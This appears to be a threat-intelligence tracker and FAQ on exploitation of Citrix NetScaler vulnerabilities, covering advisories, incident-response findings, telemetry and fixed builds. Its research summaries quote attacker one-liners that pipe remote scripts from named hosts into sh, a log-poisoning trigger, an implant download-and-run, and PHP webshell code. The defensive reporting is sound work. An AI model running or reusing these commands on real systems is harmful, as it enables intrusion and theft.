v1.15 (8 Oct): Lupovis shows scanning for the WHIPSHOT/SLAPSHOT webshells started before Mandiant published them, with a 10-step scan since 4 Oct; the checker adds receiver.deb / random 12-character .deb theme-folder probes, the g-suffix .css cache-bypass requests, and detects the log-reflection technique - an actor parks a whole shell script in a tagged User-Agent so it lands in the HTTP access log, then the CVE-2026-88771 injection carries only grep <tag>: /var/log/htt* | sed ... | sh, so filters watching the login field never see the payload. SOCRadar's automated "NetScaler C2" framework injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh and installs a polling agent at /tmp/.nsagent, reported by the checker as compromise. v1.16 (8 Oct): adds the CVE-2026-107406 build and SAML IdP/SP check (verdict VULNERABLE_CVE-2026-107406, exit code 2, also on builds already fixed for CTX697096 and CVE-2026-88779), and - from a community report the same day - an overnight wave of the same login injection fetching https://v5v.in/r.sh?k=<key>|sh; payload host v5v.in and IP 72.5.65.111 added (totals 132 attacker IPs, 18 domains, 38 hashes). Since v1.15 the compromise sweep runs by default on the appliance.
Sources: [75]
- Official advisory
CISA revises its NetScaler alert: adds CVE-2026-107406 and CVE-2026-88779, and officially confirms the reboot/re-execution relationship
CISA's alert revision (Last Revised October 9, 2026) does four things: (1) adds CVE-2026-107406; (2) adds CVE-2026-88779 following its 4 Oct KEV addition; (3) states in CISA's own words the mechanism Beazley and watchTowr had described - in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771 - which upgrades that mechanism from researcher analysis to government confirmation; and (4) urges prompt patching of all ten CVEs and reviewing Citrix compromise guidance. The same day, the Canadian Centre for Cyber Security publishes advisory AV26-1023 and Belgium's CCB/Safeonweb warns about CVE-2026-107406, and press coverage appears at BleepingComputer, The Register, The Hacker News, SecurityWeek and Security Affairs - all quoting Citrix's "not aware of any unmitigated exploits" wording. BleepingComputer also relays Shadowserver figures: more than 21,000 NetScaler-fingerprinted IPs exposed (about 1,500 Gateways, nearly 20,000 ADCs).
- Reported observation Fake PoC repos
Fake PoC repositories appear for CVE-2026-107406; no working exploit exists
Two GitHub repositories named as PoCs for CVE-2026-107406 appear (ApexBreach/CVE-2026-107406-Poc, created 9 Oct 08:34 UTC, and ctroy999/CVE-2026-107406, created 11 Oct 09:11 UTC; Previdian indexes both). Both contain only an identical text-only README describing a hypothetical exploit - no code - and end with "Contact for exploit" via a ProtonMail address and a tinyurl download link. This matches the pattern of exploit-vendor scam repos and of the fake AI-slop PoCs Beaumont warned about for CVE-2026-88771 in September. No working public exploit for CVE-2026-107406 is known; Citrix says it is not aware of any unmitigated exploits, and Previdian's sensors have recorded zero exploitation attempts.
- Research
Binary Defense "Platypwned": first-hand IR on the Platypus fork - two appliances, fork-only privesc/persistence modules, HA-sync gap, two-tier infrastructure; attribution leans financially motivated, not nation-state
Binary Defense's Analysis on Demand and IR team details an intrusion against two NetScaler appliances where CVE-2026-88771/88772 exploitation delivered a private fork of the open-source Platypus RAT (cross-compiled for FreeBSD, packaged as .pl ELF masquerading as Perl, installed via curl | sh with a single-use token per appliance). The fork adds two modules with zero hits across 1,689 public Platypus commits: internal/agent/rootesc (active privilege escalation: sudo/sudo_gtfo abuse, rootexec, takeover_other, purge) and internal/agent/selfpersist (watchdog persistence, timestomping, cleanup, and masquerade identities like "System Health Monitor" and healthd). Agents were built 28 Sep 21:02 UTC; the C2 ingress certificate was issued the same evening 22:00 UTC. Infrastructure: five domains tied by platypus-ingress certificate thumbprints - entretiensol.com and white-guard.pro on 195.123.233.245 (the same server Cluster25 previously tied to a Havoc C2), gurerasfalt.com, garyvard.com and hickoryusedauto.com on the other TENEX C2 nodes; four .com domains were batch-bought on Namecheap within the same second on 20 Aug (aged-expired-domain technique), while white-guard.pro was registered 4 June via Moscow-based REG.RU as the protected tier. Key HA finding: httpd.conf, rc.netscaler, sshd_config and /nsconfig/ssh/ sync to the secondary within about a minute, but webshell directories (/var/netscaler/gui/, /netscaler/ns_gui/, /var/vpn/) do not - both nodes must be triaged separately. Binary Defense gives a lower-confidence profile of financially motivated intrusion operators or initial access brokers in Eastern European/CIS jurisdictions - contrasting with the earlier nation-state/China-nexus characterisations of the Platypus cluster by Beaumont and eSentire/Lumen. Hunting: JARM 40d40d40d0..., three cert thumbprints, masquerade filenames .ns_09343.pl / ns_827664.pl, and a Windows agent (unpacked hash 3754689f..., UPX-packed delivered build consistent with the already-listed 0dcac605...).
Sources: [79]
- Research
Zscaler ThreatLabz dissects the staged exploitation chain: INDEX:<base64> access-log staging, forged pitboss triggers, Nx_<n> webshells and PHP/Perl enablement; kw2 FreeBSD implant from 209.141.43.95 overlaps StyleSmuggler infrastructure
ThreatLabz details a staged log-poisoning chain consistent with CERT-EU's and Unit 42's analyses. Step 1: GET requests to /logon/LogonPoint/tmindex.html, /logon/LogonPoint/index.html, /vpn/index.html and /logon/tmindex.html carry a User-Agent of the form INDEX:<base64> - the request is not executed, it only parks the payload in the HTTP access log. The captured sample (a 7508-style payload) creates six web directories (bookmark, ns_gui/vpn, gui/vpn, LogonPoint, theme, admin_ui/apex), writes Nx_<n>.html fingerprint files with id/uname/hostname/nsrelease-or-ns.conf output, Nx_<n>.php shells (shell_exec($_GET[0])) and Perl CGI shells reading a 0= query parameter, then flips php_engine off to on in /etc/httpd.conf, appends AddHandler cgi-script .pl and HUPs httpd. Step 2: POSTs to /nf/auth/doAuthentication.do and /cgi/login carry forged pitboss PPE lines - "missed too many heartbeats" and "unexpectedly died" variants - with an appended grep INDEX: /var/log/htt* | sed ... | b64decode -r | sh trigger, often with ${IFS} in place of spaces; the trigger searches the HTTP access logs for the INDEX: marker, decodes it and runs it when ns_monuploadd_err.pl processes the forged record. ThreatLabz also captured shorter inline variants (a fingerprint-and-webshell one-liner and a fetch of http://209.141.43.95/files/kw2-freebsd-x64-s11 to /var/kw2s11, chmod +x, run) and a burst of exploitation from at least 26 source IPs in six to seven minutes, each sending the forged pitboss line plus the FreeBSD downloader. The download server 209.141.43.95 (FranTech/BuyVM, Cheyenne WY) also served payloads in StyleSmuggler (CVE-2026-75650) activity against Adobe Commerce/Magento - an investigative lead, not attribution. ThreatLabz notes the Perl maintenance script selects the last matching record (per CERT-EU), explaining why attackers repeatedly re-send the trigger, and repeats the forensic evidence warning from CISA.
- Research
Rapid7 confirms a two-CVE chain with HA-aware persistence: first-hand IR on a real NetScaler compromise (published 19 Oct, updated 22 Oct)
Rapid7 investigates an actual compromise of an affected 14.1 appliance in early October and, for the first time, documents the two-CVE chain end to end from victim telemetry: CVE-2026-88779 supplies the SAML crash/reboot condition (repeated nsaaad crashes, Pitboss reboot on the sixth crash) while CVE-2026-88771 supplies attacker-controlled log text; after reboot the call-home crash handler ns_monuploadd_err.pl processed the retained text and executed the payload as root. Logs and filesystem timestamps correlate the sequence, including repeated execution over several days - the crash path functioned as a repeatable execution trampoline, avoiding the 24-hour wait. The operator installed cookie-authenticated PHP shells (.slap.receiver / .ctxs.receiver / receiver.deb, with backup copies in /nsconfig/.slap) behind CSS-looking aliases (/logon/LogonPoint/custom/receiver.v2.min.<hex>.css), returned command output in HTTP 404 bodies, and repeatedly set /bin/sh to mode 6555 so the unprivileged web process could reach root. Persistence: cron reseeded on every run, rc.netscaler, watchdog loops, an outbound reverse agent polling every 15 seconds, and explicit HA recovery logic ("sync HA files all", "force HA failover") to preserve access across the pair. Recon: a stripped static FreeBSD Go binary (vc) mapped routes, DNS, LDAP/AD, management services and VMware vCenter, with a launcher scanning RFC1918 then management-derived ranges and uploading results. A second branch deployed the nsvmd FreeBSD Go proxy from v5v.in. Configuration (ns.conf.0-4, ns.conf.bak, httpd.conf, system backups, SSL/key material) was staged and exfiltrated - one archive in the web root was confirmed downloaded via an HTTP 200 whose size matched the staged archive. Six hashes, 13 IPs, one C2 domain and detailed paths are published (see the indicator appendix); YARA rules are for Intelligence Hub customers.
- Telemetry
CrowdSec VulnTracking: pre-disclosure attempts from 22 Sep, 308 signals and 24 source IPs through 18 Oct - with hard limits
CrowdSec's VulnTracking report for CVE-2026-88771 (19 Oct) shows the Live Exploit Tracker recorded matching requests from one IP on 22 Sep, one on 23 Sep and two on 26 Sep - all before the CVE was published - and 308 matching signals from 28 Sep through 18 Oct (about 15 a day, peaking at 43 on 14 Oct), with 24 unique source IPs in the tracker window since 22 Sep. Ten CTI-linked addresses belong to watchTowr's research fleet (117 signals, 38% of the 127 CTI-rated-malicious signals) - research traffic, not attacker IoCs. One Prospero OOO (Russian) address generated 107 signals between 10 and 15 Oct. Two low-noise, single-purpose addresses stood out - including a Dutch residential address hitting Polish machines - and CrowdSec deliberately does not publish those in the public article. The caveats matter as much as the counts: the sensors are mostly web servers, not NetScalers, so the counts understate the campaign; a matching request is an attempt, not a confirmed success; a low count does not show low risk; and no public CrowdSec virtual-patching rule existed as of the 19 Oct publication.
Sources: [110]
- Research
ExtraHop maps the campaign to network-hunting guidance; Cloudflare describes front-door architecture
Two 19 Oct publications turn earlier findings into defence guidance, neither presenting new exploitation evidence. ExtraHop's Anatomy of an Attack synthesises the vendor/IR reporting (GTIG, eSentire clusters A-D and others) into network detection: inspect AddHandler, AddType, Alias and AliasMatch changes and non-PHP files configured as PHP; watch for unusual outbound traffic and east-west connections from NSIP/SNIP addresses. Its own boundary is explicit: a reverse shell, internal tunnel or configuration-archive transfer can be visible on the network, but a local chmod or web-server configuration change needs host or appliance evidence - and its cited observations are older, not fresh exploitation. Cloudflare's blog ("There's always a patient zero") argues for moving the access decision in front of the vulnerable authentication service: Access policies and WAF in front, plus an origin that enforces the same boundary - changing DNS and adding an Access policy is worthless if the authentication server stays reachable via its original IP or an alternate hostname. Cloudflare notes the architecture does not automatically cover DTLS-enabled listeners and other gateway services, and points to its 1 Oct emergency WAF rule (outside this window) rather than claiming a new one.
- Telemetry
CrowdSec VulnTracking: exploitation signals from Sep 22, five days before the CVE was published; 308 signals and 24 unique IPs through Oct 18
CrowdSec's Live Exploit Tracker recorded requests matching the CVE-2026-88771 pattern from one IP on 22 September, one on 23 September and two on 26 September - all before Citrix published the CVE on 27 September - and lists 24 unique source IPs from 22 September to 18 October. Between 28 September and 18 October the CrowdSec Network recorded 308 signals (about 15 a day, peaking at 43 on 14 October). Of 127 signals from CTI-rated-malicious addresses, 107 came from a single Russian address on the Prospero OOO network between 10 and 15 October; another 117 signals came from watchTowr's own research scanners (ten Amazon addresses in Singapore, 38% of the 17 CTI-linked addresses). CrowdSec's summary for defenders: the tracker says "Insufficient Data" because its sensors are mostly web servers, not NetScalers, so the counts understate the campaign; a matching request is an attempt, not a confirmed success; and upgrading does not evict an attacker - watchTowr's post-exploitation analysis found implants, a backdoored SSH server, a rogue superuser and webshells that a new firmware build does not remove. CrowdSec also notes the Hub has no virtual-patching rule for CVE-2026-88771 and that its AppSec component cannot see traffic that does not pass through a web server or reverse proxy in front of NetScaler.
- Official advisory
CTX697263 gains NetScaler PHP2Shell remediation builds: 14.1-73.49 / 13.1-64.32 / FIPS equivalents; downloads portal lists them; checker v1.18 follows
Citrix's changelog for CTX697263 (the PHP2Shell advisory for CVE-2026-109618 / CVE-2026-109619, initially published 22 Oct) gains a 27 October entry: "Updated remediation versions for Citrix NetScaler ADC and Citrix NetScaler Gateway". The bulletin now strongly urges upgrades to 14.1-73.49 or later, 13.1-64.32 or later, 14.1-73.49 FIPS or later, and 13.1.37.286 or later for 13.1-FIPS/NDcPP (the final dotted spelling is Citrix's). These builds also contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes, so they are the one build to install. Citrix's upgrade notes for 14.1-73.49 / 13.1-64.32: ICA and VPN sessions drop during the upgrade, and samlRejectUnsignedAssertion OFF is forced ON. Downloads-portal availability is now independently confirmed: the Citrix downloads portal lists the 14.1 Build 73.49 firmware, VPX images (including AWS/Azure/GCP), CPX, BLX and 14.1-FIPS Build 73.49, all dated 27 Oct and marked NEW, alongside 13.1 Build 64.32 and the 13.1-FIPS/NDcPP 37.286 equivalents, and CERT-FR relays the bulletin the same day. The Poppelgaard checker reaches v1.18 the same day: on a build without the PHP fix, a management GUI open to any source in the NetScaler ACLs, or forwarded by an LB vserver, is now marked VULNERABLE (verdict VULNERABLE_PHP2SHELL, exit code 2); a GUI restricted by ACLs is a [CHECK] (exit 1), not clean; a fixed build whose PHP module lacks the two fix functions returns [CHECK] with advice to confirm with Citrix Support. Today's remediation bulletin covers CVE-2026-109618 / -109619 only - do not assume it covers CVE-2026-115560.
Questions about CVE-2026-88771
Is there a new NetScaler issue involving SAML?
Yes - two, both needing SAML SP or IdP configuration. CVE-2026-88779 (bulletin CTX697174, 3 Oct): memory overflow leading to denial of service, CVSS 4.0 8.7, exploited in targeted attacks, in CISA KEV since 4 Oct; fixed in 14.1-73.41, 13.1-64.28 and the matching FIPS/NDcPP builds. CISA's 9 Oct alert confirms in the agency's own words that in unpatched deployments attackers use it to force reboots that accelerate execution of code previously injected via CVE-2026-88771. CVE-2026-107406 (bulletin CTX697191, 8 Oct): memory overflow leading to remote code execution or denial of service, CVSS 4.0 9.5; on the builds fixed for the earlier bulletins (14.1-73.37 to 73.41, 13.1-64.23 to 64.28) it affects only appliances configured as a SAML IdP, and on older builds also SAML SPs; fixed in 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds, which cover all three bulletins in one upgrade. Citrix lists no workaround for either. Per secondary coverage of its customer guidance Citrix is not aware of any unmitigated exploits of CVE-2026-107406, and no exploitation is independently confirmed - the only public "PoC" repositories are fake exploit-vendor scams. [2][3][4][53][128][129][16]
Which NetScaler vulnerabilities are exploited?
CVE-2026-88771 (unauthenticated remote command execution in the default configuration, CVSS 4.0 9.5), CVE-2026-88772 (DTLS memory overflow leading to RCE or DoS, CVSS 4.0 9.5) and, since 4 Oct 2026, CVE-2026-88779 (SAML memory overflow leading to DoS, CVSS 4.0 8.7). All three are in CISA's KEV catalog. CVE-2026-107406 (SAML, CVSS 4.0 9.5, 8 Oct) is not in KEV and Citrix says it is not aware of any unmitigated exploits of it. Kevin Beaumont reports CVE-2026-88773 was chained with the two, but no other source has independently confirmed that. No exploitation is reported for CVE-2026-88774 to CVE-2026-88778. [1][30][3][4][117]
Which NetScaler versions fix CVE-2026-88771 and CVE-2026-88772?
Per CTX697096: NetScaler ADC/Gateway 14.1-73.37 and later; 13.1-64.23 and later; ADC 14.1-FIPS 14.1-73.37 FIPS and later; ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later (the bulletin also writes this build as 13.1-37.279). A SAML appliance should not stop there: 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds fix CVE-2026-88779 and CVE-2026-107406 as well. Since 27 Oct the recommended target is 14.1-73.49 / 13.1-64.32 / 14.1-73.49 FIPS / 13.1.37.286, which additionally fixes the PHP2Shell management-plane exposure. [1][37]
Which NetScaler versions fix CVE-2026-88779, and why does stat denylist global AAA_REQUEST fail?
CVE-2026-88779 needs newer builds than the September fixes: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS or 13.1-37.282 FIPS/NDcPP (per bulletin CTX697174). CVE-2026-107406 then needs 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS or 13.1-37.283 FIPS/NDcPP (CTX697191), and since 27 October the PHP2Shell CVEs need 14.1-73.49, 13.1-64.32, 14.1-73.49 FIPS or 13.1.37.286 FIPS/NDcPP (CTX697263) - install that generation and everything is covered. As an interim measure, Citrix has released Global Deny List signatures for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console. Beazley's IR (4 Oct) describes the mechanism: the crash hits nsaaad while processing signature canonicalization with an oversized InclusiveNamespaces PrefixList; attackers use the resulting reboots to re-trigger the CVE-2026-88771 log injection on already-infected appliances, but appliances patched on 27 Sep no longer execute the injected commands. A customer report in Citrix's forum (unconfirmed, no Citrix reply) says that after patching to 13.1-64.28, stat denylist global AAA_REQUEST returns "no such resource" or an empty result where it previously showed hits - the customer's own interpretation is that the Deny List signatures apply per firmware to the CVEs known for that build. Verify mitigation state through NetScaler Console rather than relying on that one command. [3][53][76]
When did the exploitation start?
Unit 42 traces version fingerprinting from 21 Aug 2026 (not exploitation) and .deb webshell requests from 4 Sep. eSentire saw CVE-2026-88771 exploited as early as 5 Sep 2026, more than three weeks before disclosure, and Google GTIG and Mandiant report CVE-2026-88772 exploitation since at least early September. Australia's ACSC advises reviewing for compromise since at least 4 Sep 2026. GreyNoise recorded a CVE-2026-88771 attempt on 24 Sep 2026. [98][70][26][106]
Should I shut down or disconnect my NetScaler?
Before patches existed, many organisations were advised to shut down or disconnect NetScaler appliances: the Dutch central government applied "disconnect unless" from 26 Sep 2026, and Danish agencies including PET, the Armed Forces and the police switched theirs off. Now that fixed builds exist, GTIG/Mandiant recommend upgrading, isolating only appliances with confirmed or suspected compromise, and, if patching is delayed, disabling DTLS or blocking inbound UDP/443 upstream (this mitigates CVE-2026-88772 only, not CVE-2026-88771). [35][159][140][70]
Were CVE-2026-88771 and CVE-2026-88772 exploited as zero-days?
Yes. Citrix confirmed exploitation on unmitigated appliances when it disclosed them on 27 Sep 2026. eSentire saw CVE-2026-88771 exploited from 5 Sep, GreyNoise recorded an attempt on 24 Sep, and CrowdSec's Live Exploit Tracker recorded matching requests on 22-23 and 26 Sep - all before any patch or CVE was public. Rapid7's October incident analysis later confirmed the chain from victim-side logs: CVE-2026-88771 log injection plus CVE-2026-88779 crash/reboot, with root execution after the reboot. [1][98][106][110][86]